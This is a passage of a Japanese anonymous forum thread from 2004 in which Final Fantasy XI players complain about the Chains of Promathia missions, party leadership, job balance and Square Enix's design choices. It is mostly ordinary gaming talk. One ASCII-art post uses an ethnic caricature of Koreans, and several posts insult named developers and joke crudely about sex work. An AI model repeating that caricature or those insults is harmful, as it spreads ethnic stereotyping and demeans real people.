主催してまでやりたくないけど、誰かやるならのっちゃおうかな。
て、思ってるうちに時期を逃した人がいっぱいいるぞ。

280 :既にその名前は使われています:04/12/03 01:16:37 ID:QChn/8IN
A:プロミヴォンホラ行きます!@2名急募!
B:プロMホラ募集中@10人前後〜

>>B 参加したいです!白/黒です

B:ミス^^;
A:決まりましたー!

    /\___/ヽ   ヽ
   /    ::::::::::::::::\ つ
  . |  ,,-‐‐   ‐‐-、 .:::| わ
  |  、_(o)_,:  _(o)_, :::|ぁぁ
.   |    ::<      .::|あぁ
   \  /( [三] )ヽ ::/ああ
   /`ー‐--‐‐―´\ぁあ

281 :既にその名前は使われています:04/12/03 01:30:38 ID:dyS81/Ti
>>277
修正がはいるかもだから行くの控えてる。
たぶん今より楽になるであろうという希望的観測のもとにだが・・・

282 :既にその名前は使われています:04/12/03 01:45:08 ID:jf4KapUv
>>279
先月の週末にシャウトで募集しても、2・3人しか乗ってこなかったな。
特にジョブ限定したわけでもないのに。

未クリアの人はパッチ待ちだろうね。
まあ、難易度緩和と決まったわけじゃないし、食事効果見直しの
煽りを受けて、むしろ難易度上昇の可能性すらあるわけで。

283 :既にその名前は使われています:04/12/03 01:50:14 ID:wltYIueZ
今以上の糞仕様にしたらマジで誰もいかなくなるぞ

284 :既にその名前は使われています:04/12/03 01:50:34 ID:skZfNpBN
主催する気満々だったが、LS会話で「プロミに○ジョブイラネ」とか
誘われジョブ数名が言ってるのを聞いてしまって、もし俺が集めるPTに
そんな風に思ってるヤツが居たら道中面白くねぇだろうな…
とか思ったら急にやる気が萎えた。何せ前衛は狩戦以外イラネ言ってたし。
幸い俺はイラネジョブでは無かったが、そういう問題じゃ無いしな。

今度のバグパッチで、納得の行く修正になるといいな、って思ってる。

285 :既にその名前は使われています:04/12/03 02:06:55 ID:80w2b/Ho
>282
もしかしたら、もうほとんどの人はクリアしてしまっているのではないのか

286 :既にその名前は使われています:04/12/03 02:08:58 ID:FMadT1Z2
>>285
予想でしかないが、それはないと思う。

すくなくとも自分の周りと、実はシャウトしてみた時の反応みるに、
クリアせずにうっちゃってる人はいっぱいいるようでしたよ。

287 :既にその名前は使われています:04/12/03 02:22:34 ID:9JxALWEt
いきたい人は一杯いると思う。
ただ経験がない為仕切れない、又は暗黙のうちに課せられるクリアの義務に
耐えられないなどの理由で「誰かがシャウトしたら乗ればいいや」と思ってる
のが大半。

今週入ってから少ないのは単にVUP待ちだろうけどね。

288 :既にその名前は使われています:04/12/03 02:25:43 ID:80w2b/Ho
■eもなぁ・・・そろそろ、主催したりした人には表彰したりなんだかんだで、
メリット付けてやる必要があるんじゃないのか?

PTでもアラでもリーダーはほんとにしんどいよ。このゲーム。
EQでも初期にその為にゲームが崩壊しかけて、例のリーダー経験値システムできたわけで。


289 :既にその名前は使われています:04/12/03 02:35:18 ID:Ssa7W7v+
>>288
EQのgrpリーダーはめっちゃ気軽だぞ?
FFのPTリーダーの重さを1kgとするとEQのそれは1gくらいだ。

重いのはRaidリーダーだが、大抵は複数人で運営するのが基本。
それにやりたい人、素質のある人がやるもんだから
Raidリーダーの負担が原因で崩壊しかけたって話は無いよ。

EQのリーダー経験値システムは、
今まで無価値だったリーダーに価値をつけただけ。
以後は競ってリーダーしたがるようになったし。


290 :既にその名前は使われています:04/12/03 02:39:03 ID:WJ2Mlh76
リーダーが頭さけてグループのメンツ集めるのはEQも同じなんかな?>>289

291 :既にその名前は使われています:04/12/03 02:47:23 ID:Lv9P+4Ti
  修正がはいるかもだから行くの控えてる。
  たぶん今より楽になるであろうという希望的観測のもとにだが・・・



そして12月9日・・・




    /\___/ヽ   ヽ
   /    ::::::::::::::::\ つ
  . |  ,,-‐‐   ‐‐-、 .:::| わ
  |  、_(o)_,:  _(o)_, :::|ぁぁ   ←>>281
.   |    ::<      .::|あぁ
   \  /( [三] )ヽ ::/ああ
   /`ー‐--‐‐―´\ぁあ

292 :既にその名前は使われています:04/12/03 03:18:18 ID:Ssa7W7v+
>>290
ありえない。
grpは全員で集めるのが常識。


293 :既にその名前は使われています:04/12/03 03:19:13 ID:Etmj5sLj
EQにはリーダー経験値なんてあるのか。

FFにも実装してくれー。

294 :既にその名前は使われています:04/12/03 03:27:32 ID:Ssa7W7v+
あ、勘違いさせちゃったかな・・・

EQのリーダー経験値ってのは、
リーダーが余分に経験値を貰えるものではないです。
むしろ逆で、リーダーだけ経験値が何割か減って
減った分はリーダーAA経験値というものに割り振られるんですよ。
 リーダーAA経験値=リーダーメリポ用リミポ
といいかえればわかるかな。

こうしてリーダーAA経験値を溜め、リーダーAAポイントを溜めて
それを支払うことで数々のリーダーAAスキルをゲットできます。
 例、モンスのHPが名前の横に%表示されるスキル。
    モンスがタゲってるPCを表示するスキル
    モンスにマーカーをつけるスキル。
    強化魔法の持続時間がわかるようになるスキル。etc。
    HPやMPが増加するスキル

非常に便利で、PTのためになるスキル目白押しです。

295 :既にその名前は使われています:04/12/03 03:29:47 ID:THHigdRw
FFでリーダー経験値を実装すると、今までは誘われ待ちで適当に上げてた
忍者、狩人、赤、詩人たちがリーダーをするようになるわけだ。
オートリーダーでどうにか上げてきた
シーフ、召喚、ガリへのとどめになるだけかと。

296 :既にその名前は使われています:04/12/03 03:32:56 ID:5bE7P+T1
たぶんFFに実装すると
最初に集めた奴が最初の一時間
その後三十分交代とかでリーダー回すようになると思う

んで集めもしないくせにリーダー回さない強欲野郎とか言って晒す晒し厨が出ると
何と無く読めるでしょこのあたりは

297 :既にその名前は使われています:04/12/03 03:36:23 ID:9JxALWEt
厨詩人 「・lこのリーダー、リーダー回してこねえよw狩場ついたら用事思い出すかなw」「モスw」


298 :既にその名前は使われています:04/12/03 03:38:03 ID:Ssa7W7v+
>>295
リーダーする人が増えればPT数が増えるんだから
不人気ジョブにも需要が発生しそうだけどね。


299 :既にその名前は使われています:04/12/03 03:41:07 ID:pzR3JQgM
>>296
そんなところだろね。

後、リーダー増えてPT増えるとどうなるかってのは
現状でそういう状況になってるのを見たら判ると思うんだが。
被りまくりではっきりいってPT組めない。

300 :既にその名前は使われています:04/12/03 03:41:59 ID:80nINfbH
>>295
もうジョブなんて選んでられない状況じゃない?
盾1前衛2後衛3揃うならそれだけでありがたいって思う。

301 :既にその名前は使われています:04/12/03 03:43:27 ID:WmeWqn/N
組めたら組めたで狩り場の許容少ないから枯れ枯れ
「おれがリーダーのとき三匹しか釣ってこれなかったorz」
とかまじありえそう

302 :既にその名前は使われています:04/12/03 03:54:14 ID:EtgIAPtF
みんなおんなじ顔にみえる

303 :既にその名前は使われています:04/12/03 03:58:50 ID:Ssa7W7v+
まぁ、EQからの劣化パクリのメリポなんて導入しても
全く生かされてないし生きてないっていうのも何とかしてほしいね。


304 :既にその名前は使われています:04/12/03 04:18:43 ID:M39N3Gyk
プロマシアに限らず、ミッションは糞がんばればソロでもいけるってくらいにしてくれ・・・

もう嫌だよ・・・プロミヴォンで6時間かけてハイポなど数万使って死ぬの('A`)
6人PT必須だと、基地外が一人いるだけで時間が無駄になる。

305 :既にその名前は使われています:04/12/03 04:22:28 ID:tnbNVdNf
                           / )     :::::::::::::::::::::::::::::::::::::::::::
      ::::::::::::::::::::::::::::::::::::::::::::::::        / /
           ::∩:::::::::::::::::::::::::::      / /          よーし今日もどっかいくかー!
      ∧_∧ ...| |            ( (    /⌒ヽ       
     < `Д´>//      ∧_∧   ヽ ヽ⊂ ̄ ̄ ̄⊃          FINAL FANTASY XI
     / 中国 ..    ∧_∧ ´ー`)    \\(´∀` )     n  ∩    プロマシアの呪縛
       ∧_∧   ( ´A `)浪人i     ハ      \    ( E)||  ∧_∧   ∧_∧ 
       (丶`∀´)  /童貞 \ ノ       |  無職/ヽ ヽ_//. | .| . (丶`∀´)  (丶`∀´) 
 ( ヽ,  / 秋葉 ヽ、/ ,   // ヽ,      |     ノ  \__/   | .| /高卒  ヽ/ 中卒 ヽ、/

306 :既にその名前は使われています:04/12/03 04:25:34 ID:4WRPt1ZD
>>304
基地外ほどでなくても、ケアレスミスで道中壊滅は十分ありえるぞ
あと、BCも経験無いと焦って・・・とかも

かといって、未経験者お断りなんて募集できるわけねえしな(´・ω・`)
薬なしで行ける&BCまで30分くらいで到達可能なら、一回や二回失敗しても笑って済ませられるんだが
・・・散々既出か

307 :既にその名前は使われています:04/12/03 04:43:15 ID:OMar+w8O
warata


308 :既にその名前は使われています:04/12/03 05:18:29 ID:QvOF2zlA
俺がEQやめてからリーダーAAなんて物ができてたのか・・・・・・
EQ2をやるほどの体力も無いのでもうマターリFF生活なわけだが。

309 :既にその名前は使われています:04/12/03 05:35:59 ID:2R4cBOzU
>>308
道まちがえちゃったね

310 :既にその名前は使われています:04/12/03 05:39:08 ID:0hI+gvll
>>282
洒落でなく、食事効果を調整する人間とミッションの難易度を調整する
人間の連携が取れてなくて、プラマイゼロという可能性はある鴨ー。

薬代だけでも頭痛いってのに、食事代で足を引っ張られる…。
あ、ひょっとしたら競売代でも足を引っ張られる可能性があるのか…。

311 :既にその名前は使われています:04/12/03 05:42:53 ID:rTAZd+ZZ
まぁ正直攻撃力が20%近くも増大する食事ってのも異常だったんだけど
たとえ山串弱体しても敵は弱体しないんだよな

312 :既にその名前は使われています:04/12/03 05:45:49 ID:4Ok8pdqd
>>305
そこに大学もくわえとけ
大学生活をFFで終える香具師が実際いるんだから

313 :既にその名前は使われています:04/12/03 05:53:30 ID:xx6hLu2b
>>308
リーダーAA機能が含まれるのは1つ前の拡張セットGoD。だからEQ日本語版では
まだ入っていない機能だね。
GoDは糞拡張と言われているけど、このリーダーAA機能と、金や余剰アイテムから
変換したポイントを消費しながらキャラ強化するトリビュートシステムは好評だ。


314 :既にその名前は使われています:04/12/03 06:29:22 ID:X8MSIvnq
GoDだってすぐに謝罪して更迭したうえに一応は修正して
良拡張で口直ししたからなあ。

FFの場合は修正はあるかもしれないけど、謝罪と更迭
そして良拡張がない

315 :既にその名前は使われています:04/12/03 07:01:24 ID:wh7oZrVM
思ったんだが、最初から発売前のインタビューで、
「プロMは高難易度設定してあります。
腕に自信のあるプレイヤーに楽しんでもらいたいです。」
っていう発言しときゃよかったんだよな。

それならいかに時間のかかる高難易度の糞Mでも、
■が高難易度に設定したMをクリアしたぜーっちゅー達成感は得られたはず。
逆に敗退・挫折した場合でも、しょうがねっかー難しいなーって諦められた。

ヘタに「LV30から参加できます。ジラMより間口は広い。」
みたいな「ジラMほどLVはいらず、クリアしやすい」という内容のことを言うから、
今の難易度が「どこがだよ!」って理不尽に感じるわけでね。

まあ広報的に、そういう発言が許されなかったのかもしれんが・・・

316 :既にその名前は使われています:04/12/03 08:17:21 ID:hKO2xvFf
age

317 :既にその名前は使われています:04/12/03 08:46:25 ID:Q9P34PU4
それだと、自ら「いつもの廃要素の追加です。拡張ディスクで出すほどの内容じゃありません」って言ってるようなもんだしな。


318 :既にその名前は使われています:04/12/03 08:50:31 ID:TgUDp/xj
そもそも、たった一回の初見でクリア出来ると思ってる、安定フラグ立て
しか興味が無いユーザーのせいで荒れたFFも問題だと思うが、どのジョブで
組んでも等しい難易度や攻略法を設定出来る奥深いシステムで、戦略を練る
楽しさを提供出来ない■eは、ユーザーを育てる気が無いということだ。
つまりユーザーを抱える資格無し。
ガキを野放しにする親。ってのと同じ理屈だ。

プロミの球が、遠隔攻撃・魔法のみを使う者に対して、何故に範囲引き寄せを
使わないのか不思議でならない。近接はカウンターで弾き飛ばすクセに、だ。
ここから既にオカシかった。
プロミは最初からやり直しじゃあなくて、前回進めておいた階層の中から
選択出来るように最初から作っておけよ。記憶の封印の意味が分からん。

319 :既にその名前は使われています:04/12/03 08:51:15 ID:uIPdB3PB
プレイヤーに負けたくない…てなもんで、挑戦したいなら、
そういうディスクにすりゃいいのにな。最初から。
ジラートクリアした人対象です。とけるもんならといたみろってくらい色々詰め込みました。
これはプレイヤーへの挑戦ですよ(笑
くらいなこといえば、のってやろうって奴もいたかもしれない。



……まあ、今までのVUPがまさにそれなので、いまさらいりませんっ話もあ(ry

320 :既にその名前は使われています:04/12/03 08:56:17 ID:Q9P34PU4
それを言うと「どのジョブでもクリアできたらジョブチェンジの意味ないだろwww」とか言う奴が開発にもユーザーにもいるからな。
ジョブチェン前提ならレベル上げ緩和して全ジョブカンストを他のMMOの1〜2キャラカンストぐらいの労力に抑えるべきなんだがなぁ。


・・・いや、それをやってると、合成と同じにジョブレベルに専門職制が課せられるという矛盾をやらかして、今以上に悲惨になってたか。

321 :既にその名前は使われています:04/12/03 08:59:26 ID:HBvSW2CZ
β初期のFFマンセーしてたプレイヤーの
「MMOなのにソロのが効率いいのはおかしい修正汁!」っていうありがたい進言の
おかげで経験値上限200仕様、PTボーナス不可ができたんだけどな。

322 :既にその名前は使われています:04/12/03 09:01:47 ID:QK279eo/
馬鹿だねぇ
ソロ認めないから、レベル人口高レベルに偏ってる現在
まともに遊べなくなってるのに

323 :既にその名前は使われています:04/12/03 09:20:44 ID:HbWPi2pS
>>322
ソロで人口バラついてもソロの奴はPT組まない矛盾に気付かない馬鹿

324 :既にその名前は使われています:04/12/03 09:22:59 ID:Q9P34PU4
ソロの奴はソロ向けのジョブだからPT組まないのは当たり前でしょ。
戦士や白なんかは30からソロほとんど不可能になるから、PTせざるをえない。

325 :318,284:04/12/03 09:24:44 ID:TgUDp/xj
俺から言わせてもらうと、ジョブを変える事でしか表現出来ないゲームは、
ゲームとして間違ってると思う。
何か事に当たる度にジョブを変えるというのは、一見スマートに見えるが、
それは常に、攻めではなく「逃げ」を選択している事に他ならないからだ。
ヒトツのジョブには得意な事と苦手な事が、当然ある。
だから、苦手な事は認め、それを得意な事を生かして切り抜ける工夫。
そしてそれをPTプレイで補い合ったりする事こそが、前向きな楽しみに
繋がるもんだと思う。
現状のシステムやユーザー心理では、苦手な事は認め、有利なジョブを
選ぶ。という手法だ。これではユーザーは育たない。

ジョブチェンジシステムってのは、自分のメインを見つける為に用意された、
FFでオンゲーデビューした人らに訴えかける親切なシステムだったはずだ。
戦術とそれが、果たして逆転していいものかどうか。
■eのコロコロ変わる価値観に、この質問を投げかけてみたいもんだ。

326 :既にその名前は使われています:04/12/03 09:25:20 ID:4xZPs/aM
ソロが大勢狩場に集い、声かけあい自然とPTが出来る
そんなバランスがいい…

327 :既にその名前は使われています:04/12/03 09:28:54 ID:4t/abdVA
>>326
シグ廃止、チェーンボーナス削除したらあるいは出来るかもだが・・。
βでそれが出来てたのはクリスタが意味なかったからだしな。

328 :既にその名前は使われています:04/12/03 09:50:57 ID:Lf1YV46U
敵の食事効果消すのがある以上
プロマエリアではまともに遊べん

329 :既にその名前は使われています:04/12/03 09:58:56 ID:mfA7yFch
>>321
外れ。株主のプレイヤーが暴れたからだよん。

330 :既にその名前は使われています:04/12/03 10:11:13 ID:ZZwgDicD
PTだと倍の経験値がもらえます!って程度だったら良かったのに
現状だとソロ時間500前後、PT時間3000前後ですからね〜。
しかも経験値500なんて中レベルでは死亡ロストの方が高いし・・・

331 :既にその名前は使われています:04/12/03 10:26:51 ID:wh7oZrVM
コンセプトが「絆」なんだから、
ソロできるようにしろっていうのは無理だと思われ

コンセプト(というか建前)上の問題もあるし、
ソロができるってことはイコール、LV上げやすさにつながる。
全ジョブが「かえれ」習得後の獣使いのペースでソロができたら、
みんなあっという間にカンストしちゃうでしょ?無駄な時間がなくなるから。
そうするとゲームの消費速度が加速してしまう。

で、それだと長く契約させて収益を出すのに不都合、ってことなのだろう。

332 :既にその名前は使われています:04/12/03 10:27:05 ID:tB7HAk3c
ジョブチェンジとサポジョブとサポジョブ頼りのジョブの少なさが糞バランスの元凶という事で。

333 :既にその名前は使われています:04/12/03 10:29:00 ID:qLNTJ3bB
今の敵の数でソロできるようにしたら敵いなくなるな

334 :既にその名前は使われています:04/12/03 10:30:36 ID:QvOF2zlA
■e<DQ8を出す事でソロがしたいという要望に対応した。好評なようで嬉しい

335 :既にその名前は使われています:04/12/03 10:40:55 ID:Ydx6XIMX
■eの命題はいかにプレイヤーに時間を掛けさせて課金を続けさすかって事。
FFで一番時間費やすのがLV上げな訳で、色んなサポ上げさせてそこから2ジョブ3ジョブと
カンストしてもらうのが一番■e的には美味しい。
キャップ開放して先を作るよりも、そこまでを2週3週してもらうほうが開発費浮くしウマーだし。
ジョブバランスも調整する気はサラサラなし、バランス取れたままどんなジョブでも
ミッソン、BCクリアできてHNMまで倒せてたら皆満足して新ジョブ上げないからね。

常に優良ジョブとサポを意図的に作ってるのもそうしとけば最強厨が流れていくから。
サポシ不意ダマ最強だったり、サポ侍でシルブレ必須だったり、今ならサポ空蝉最高かw
そして皆が上げきったら次のジョブ上げさせる為に弱体と、この繰り返し。


336 :既にその名前は使われています:04/12/03 10:42:16 ID:Ydx6XIMX
プロミも結局はこれまでのパッチと同じで狩黒忍の旬ジョブ上げ促進ディスクだったと。
■e的にはプレイヤーは30、40、50〜のミッソンBCを目標に新ジョブ上げる筈だ!と
褒美に素敵なストーリーとムービー用意しとけば完璧w俺達頭イイ!とでも思ってたんだろなw
ただ想定外に反発酷かったので今回は次のパッチで難易度下げますww
でも追加の新印章BC参加したいなら狩黒忍を引き続き上げてねwww
PS 狩黒忍必須のBCには神アイテム出るようにしときましたあーーwwww

散々言われてるがジョブチェンジシステムが糞過ぎるな。。これのせいで■e自らバランス
壊して、文句あるなら○○やれば?だし。○○以外イラネや弱体厨というFF独特のプレイヤー気質も■eが育てたもんだよ('A`)ハァー


337 :既にその名前は使われています:04/12/03 10:57:36 ID:egdyw4LQ
サポ竜とか、使いようがないしね。サポ詩はまだ何とかなるんだろうけど

338 :既にその名前は使われています:04/12/03 11:01:16 ID:Q9P34PU4
本当に延命したいなら、遊びを増やすべきなのに。
今のFFは、メニューがカレーしかないうえに、そのカレーがやたら薄味な喫茶店状態。
しかも店主がカレーの食べ方にケチつけてくるオマケ付き。

339 :既にその名前は使われています:04/12/03 11:04:21 ID:egdyw4LQ
「当社では素晴らしいプールを用意し、インストラクターも優秀です。
おかげさまで大変好評で、会員数は増加し続けています^^」

と宣伝しているスイミングスクールで、プールは5mしか無い。って感じじゃないの?
■<5mでも泳げますから^^

340 :既にその名前は使われています:04/12/03 11:14:29 ID:IJsupRfs
■はじつにばかだな
延命なんて、雑魚が低確率でレアドロップして
過剰錬金させとけばかってにできるのに。

341 :既にその名前は使われています:04/12/03 11:14:49 ID:hcjdffyt
コンセプトが「絆」ってのも聞き飽きたなぁ。
そのコンセプトの割にゃ
グループ組む時のレベル差が狭かったり
特定のミッションやる時には必須クラスが存在したり

つーか、そのコンセプトを持ち出す事に
無理があるって気付いてるんだろ?


342 :既にその名前は使われています:04/12/03 11:23:39 ID:Ssa7W7v+
コンセプトが「絆」とか言ってる時点で臭いんだよな・・・
リアルでも口に出さない乳臭い言葉ですよ。

人間関係なんて個人個人が作るもので
わざわざテーマとか改まって言われてまでどうこうするもんじゃない。
他のネトゲやMMOだって全部人間関係が基本にあって
それが大前提でその上にそのゲームなりの楽しみを乗せているのに。


343 :既にその名前は使われています:04/12/03 11:32:13 ID:0yGZyukS
>みんなあっという間にカンストしちゃうでしょ?
運営側が何をどう考えようが、プレイヤーには関係の無い話だ。
少なくともプレイヤーが主体になって遊びを考えるゲームにしてくれよ。

344 :既にその名前は使われています:04/12/03 11:47:16 ID:HbWPi2pS
初期のレベルキャップ50だと1月足らずでカンストしてしまうからな。
これはこれでよくない

345 :既にその名前は使われています:04/12/03 11:56:05 ID:uIPdB3PB
>>344
カンストしてからが本当の冒険だから大丈夫だよ。

346 :既にその名前は使われています:04/12/03 12:03:17 ID:Ssa7W7v+
コンテンツはないけどな!

347 :既にその名前は使われています:04/12/03 12:04:42 ID:6sRASaON
カンストしてなお困難を求めるマゾがアフォみたいにメール送ったんだろ?
頑張ってLv75になっても出来ないことだらけってゲームとしておわっとる


348 :既にその名前は使われています:04/12/03 12:05:42 ID:cWLFOAbV
いくらカンストしようがレベル制限かけるから無意味クポー^^

クルシメークルシメー

349 :既にその名前は使われています:04/12/03 12:07:47 ID:uIPdB3PB
ほんと強制LV制限だけはいみわからんよな。。。
適正LVで戦いたい「やつもいる」からLV制限かけ「られるように」してくれっていっただけなんだが。
なんで強制にしてくるかな、ほんと。

350 :既にその名前は使われています:04/12/03 12:13:43 ID:omqgUt0N
ユーザーのペースに合わせるんじゃなく
自分たちのペースで開発してくれてれば
少しはまともになってたんじゃないかと思うw

55〜の限界突破のクエ導入するのが早すぎたと思うがどうか?

351 :既にその名前は使われています:04/12/03 12:16:27 ID:uIPdB3PB
ユーザーのペースでもよかったんだけど、
廃人のペースにあわせたからな。
そりゃ、デスマ決定にきまってる。
で、それでも、体力のある会社だから、死ぬ気でペースに食らいついてきたんだが、
ある時ちからつきあきらめた。
で、編み出した技が「○○は、○○で【回避】」した。

352 :既にその名前は使われています:04/12/03 12:26:38 ID:aKvvwpkB
斜めパッチを実装したので廃人が一般人より進みすぎるのを回避した〉一般人はなおさら進めません

353 :既にその名前は使われています:04/12/03 12:34:05 ID:qx213WMs
>>342
絆=PT ってのが短絡過ぎるよな

そのくせ、絆≠アラ ってのは矛盾しすぎ

354 :既にその名前は使われています:04/12/03 12:59:18 ID:aKvvwpkB
過疎

355 :既にその名前は使われています:04/12/03 13:11:07 ID:61oDylH1
>>305
ワロタ


356 :既にその名前は使われています:04/12/03 13:12:44 ID:hlJ+XQly
河豚だけでも首にしてくれんかな?

キャバクラやホテトルだって「チェンジ!!」といえばチェンジするもんだ。

357 :既にその名前は使われています:04/12/03 13:19:17 ID:/oqf3II3
ま、FFの次回作は誰も買わないことだけは確かだな。

358 :既にその名前は使われています:04/12/03 13:20:07 ID:uIPdB3PB
>>356
キャバクラやホテトルやデリヘルや、100%ゆずってピンサロでも、
田中がでてきたら、チェンジどころですまされぬ。

359 :既にその名前は使われています:04/12/03 13:20:13 ID:80w2b/Ho
>357
残念だけど、そうでもないとおもうよ・・・

360 :既にその名前は使われています:04/12/03 13:34:23 ID:UVjevxy0
とりあえず、次のパッチがあたっても、

油断したわケンシロウ! という状況に変りはない

361 :既にその名前は使われています:04/12/03 13:37:20 ID:B/tZqAEF
てか、プロマ発売時ピーク時4500人いたのに
昨日3200人だったよ。
ドラクエすげ〜。

ぷろましあ4000円するんだからもちとがんばれ。

362 :既にその名前は使われています:04/12/03 14:33:42 ID:C6JSErz6
>>341

プロMのおかげで
ミッション進めてる人たちと、
乗り遅れて進められない人たちの壁ができて
進められない方は嫌気がさして、ログインしなくなってきて
LS崩壊気味なんですが…
これが「絆」か…

俺は乗り遅れ組… orz

363 :既にその名前は使われています:04/12/03 14:35:54 ID:R0HGzLVt
>>362
ナカーマ・・・('A`)

364 :既にその名前は使われています:04/12/03 14:38:08 ID:Iv2kpHZk
>>362
実装ミッションをコンプした人もひどいよ。
やることがないからと、
別のゲームに移って、ログインしなくなった。
クリアしたいミッションのために、
低レベルからジョブを育てているほうがむしろいいかもな。

365 :既にその名前は使われています:04/12/03 15:57:03 ID:cWLFOAbV
>>361
どっちかっていうと

「(そんな斜め下でくるとは)この海のリハクをもってしても読めなんだ・・・」

な可能性のが高い

366 :既にその名前は使われています:04/12/03 15:57:44 ID:TQnBCPgq
よし、踏みとどまった。
POL解約でもう戻れないように引退したのにソフト買いたくなってしまう。
プロマシアの次のでかそうなパッチ。
これは苦しかった。

いつも1からやるのはめんどいしやる時間もないから踏みとどまってたが、
今日はどうやって時間作ろうかとか考えてしまった。
あぶなかった。
踏みとどまった自分をほめてあげたい。


↑をカイジ風によろ

367 :既にその名前は使われています:04/12/03 15:58:38 ID:cWLFOAbV
>>365のアンカーは>>360です・・・orz

ダマラム一生の不覚!

368 :既にその名前は使われています:04/12/03 16:04:21 ID:6bnrwMeM
>>367
懐かしいなw

369 :既にその名前は使われています:04/12/03 16:59:01 ID:0t3uE9J4
>>367
首だけの人かyp!

370 :既にその名前は使われています:04/12/03 17:13:02 ID:pWpQvR3k
絆の実態

フルアラ推奨のミッション、NM、WSクエ。人集めに膨大な時間がかかり、
道中のからまれ、メンバー同士のトラブル、そして18人がかりで一匹の敵を
エフェクトの嵐の中でたたきつぶすという卑怯この上ない戦闘スタイル。

これがスクエアの考える「絆」。
「絆の押し売り」、これがFF。

371 :既にその名前は使われています:04/12/03 17:34:47 ID:ZEMCmga2
プロミ行くとして、狩人で大弓系だと蹴られますか?
クロスボウ系+ホーリーボルト限定ですか?

372 :既にその名前は使われています:04/12/03 17:36:07 ID:QK279eo/
やる気出せば薬すらいらないよwwwwww

373 :既にその名前は使われています:04/12/03 17:37:53 ID:KA4Vevpx
絆の結成から崩壊までを描く、一大叙事詩ファイナルファンタジー11

374 :既にその名前は使われています:04/12/03 18:50:51 ID:+xu7bZQs
ネガに見えて、実は超建設的なスレage

375 :既にその名前は使われています:04/12/03 18:57:39 ID:M3qz7/6a
>>371
ホリボルが使えればそりゃベストだが、パワーボウ+ホーンでも十分強いよ。

376 :既にその名前は使われています:04/12/03 19:17:32 ID:J3w+rA7z
いま冬のプレイステーションカタログが手元にあるのでプロマシア記事を写す

このソフトをインストールする事でタブナジア群島、ムバルボロスといった40以上の新エリアで
新たな冒険ができるようになる。
そこではバナディール創世の真実も明らかになるという・・・

創世の真実なんか明らかになった?

377 :既にその名前は使われています:04/12/03 19:19:24 ID:KA4Vevpx
創世の真実=■の実力の無さ

378 :既にその名前は使われています:04/12/03 19:31:01 ID:cLZlrUWX
こんな状況にしといて責任者はまさかバックレないよなぁ・・・
田中と河豚、バトルチームの冴えないオヤジのクビ切りまだ〜〜〜?
あ、和田のバカ社長も辞職よろw


379 :(       ´∀`) ◆b7HaGeBCho :04/12/03 19:38:21 ID:Oea3XODI
ドラクエのスタッフロールの最後にWadaって出て萎えました。

380 :既にその名前は使われています:04/12/03 20:08:34 ID:ZEMCmga2
>>375
そうか、ありがとう。ホリボル使わない香具師は狩人にあらずみたいな
流れをどっかのスレでみかけたから心配になって。

381 :既にその名前は使われています:04/12/03 20:12:40 ID:iPKy1tNr
>>380
ネジツ・シタラバクオリティって奴ですよ。

まあ、ろくなもんじゃない。

382 :既にその名前は使われています:04/12/03 20:23:21 ID:WnQ61FVm
でも理由もなくベストを尽くさないのは何だろうとは思うけどな

383 :既にその名前は使われています:04/12/03 20:25:33 ID:cWLFOAbV
>>382
ゲームだよ

そりゃまあ、自分以外のNPCがベスト尽くさないとむかつくのもわかるけどさ

384 :既にその名前は使われています:04/12/03 20:43:07 ID:WnQ61FVm
>>383
オンラインゲームだからこそお互いがんばろうなんじゃないのか?

がんばろうと思える内容ではないのは確かだがな

385 :既にその名前は使われています:04/12/03 21:06:21 ID:+xu7bZQs
>>382,>>384
銃使いたいヤツも居るだろうし、弓使いたいヤツも居るだろう。
当然、クロスボウ使いたいヤツも居るだろう。

それぞれの分野で頑張ればいいとは思うが、アンタが言ってる
価値観は、それとはまったくの別物だよな。全然共感出来ない。

386 :既にその名前は使われています:04/12/03 21:16:28 ID:b2X9XjFw
80点の装備で80点分がんばればそれでいい

387 :既にその名前は使われています:04/12/03 21:23:26 ID:UlbGIFoP
>>361
4000円[も]に修正よろw

388 :既にその名前は使われています:04/12/03 21:25:07 ID:4ySNbkPc
プロマシアって今1500円だろ

389 :既にその名前は使われています:04/12/03 21:25:32 ID:2R4cBOzU
減った原因はドラクエだけじゃない

390 :既にその名前は使われています:04/12/03 21:31:51 ID:WnQ61FVm
別に共用はしないけどな。なんでだろとはおもうが

両手剣使いたいナイトと同じレベルだろ
スキル以上にあらゆるメリット捨ててるし

391 :既にその名前は使われています:04/12/03 21:33:44 ID:MO5Fn2/o
>>386
80点が認められないのがFF11だと思う。
100点の装備で100点の動きをしないとダメなように調整
されてるからね。



392 :既にその名前は使われています:04/12/03 21:36:35 ID:+69u5C31
上級者向けですってハッキリ言っちゃえばよかったのにね

393 :既にその名前は使われています:04/12/03 21:47:05 ID:iSaRx1UN
ジョブチェンジシステム廃止すれば■もまともにバランスをとらざるを得なくなるだろうね。
別にジョブチェンジなくても他MMOはそれなりにうまくやってると思うんだが。

394 :既にその名前は使われています:04/12/03 21:52:44 ID:umslgssJ
ttp://www.playonline.com/ff11/polnews/news3328.shtml
流れぶったぎってガッカリ第一弾投下

395 :既にその名前は使われています:04/12/03 22:04:50 ID:2R4cBOzU

小出しにしていけばガッカリ度合いも減ってくれるんじゃないかとか考えてるか
何も考えてないかどちらかだなこりゃ

396 :既にその名前は使われています:04/12/03 22:10:57 ID:+dHqowL0
>>394
ハロウィン対策かyp!!

397 :既にその名前は使われています:04/12/03 22:12:36 ID:rTAZd+ZZ
プロミッションの敵にクッキートレードすると一定時間行動不能になるんだよ

398 :既にその名前は使われています:04/12/03 22:21:28 ID:Q//zjT9m
>>394
白の食事はホブゴブチョコで決まりだなw

399 :既にその名前は使われています:04/12/03 22:47:48 ID:Q60XbGMg
盆3箇所で一人。A01もB01も0。礼拝堂も水道も0。週末なんだがなぁ。
DQあるにせよサーバー3000人以上はいるだろ?
(人件費含)何億かけたんだかしらんが人が来ないアトラクションは失敗だよなぁ。
俺もミッション終わったら行かないし・・・なんとか使えるエリアに改造できんかねぇ?





400 :既にその名前は使われています:04/12/03 23:05:03 ID:gNmFCn9s
>>399
■>鯖台ケチってるので死にエリア人が集まると落ちるので困ります
では良い旅を^^
>>393
■>ミッションを進めたい場合、新キャラ作るのをお勧めします^^

401 :既にその名前は使われています:04/12/03 23:24:46 ID:+xu7bZQs
ジョブ限定されるミッションを実装して、ジョブを上げ直す事で延命している。
とか信者だか何だかが言ってるけどさ、それは只の都合の良い言い訳だろ。

難易度は維持したまま、どのジョブでもクリア出来るようにした上で、NPCの
セリフや演出がジョブ毎に変わるように最初から作っていれば、色々見たい
ヤツはジョブを変えて何度も挑戦するだろうし、1ジョブのヤツも問題無い。
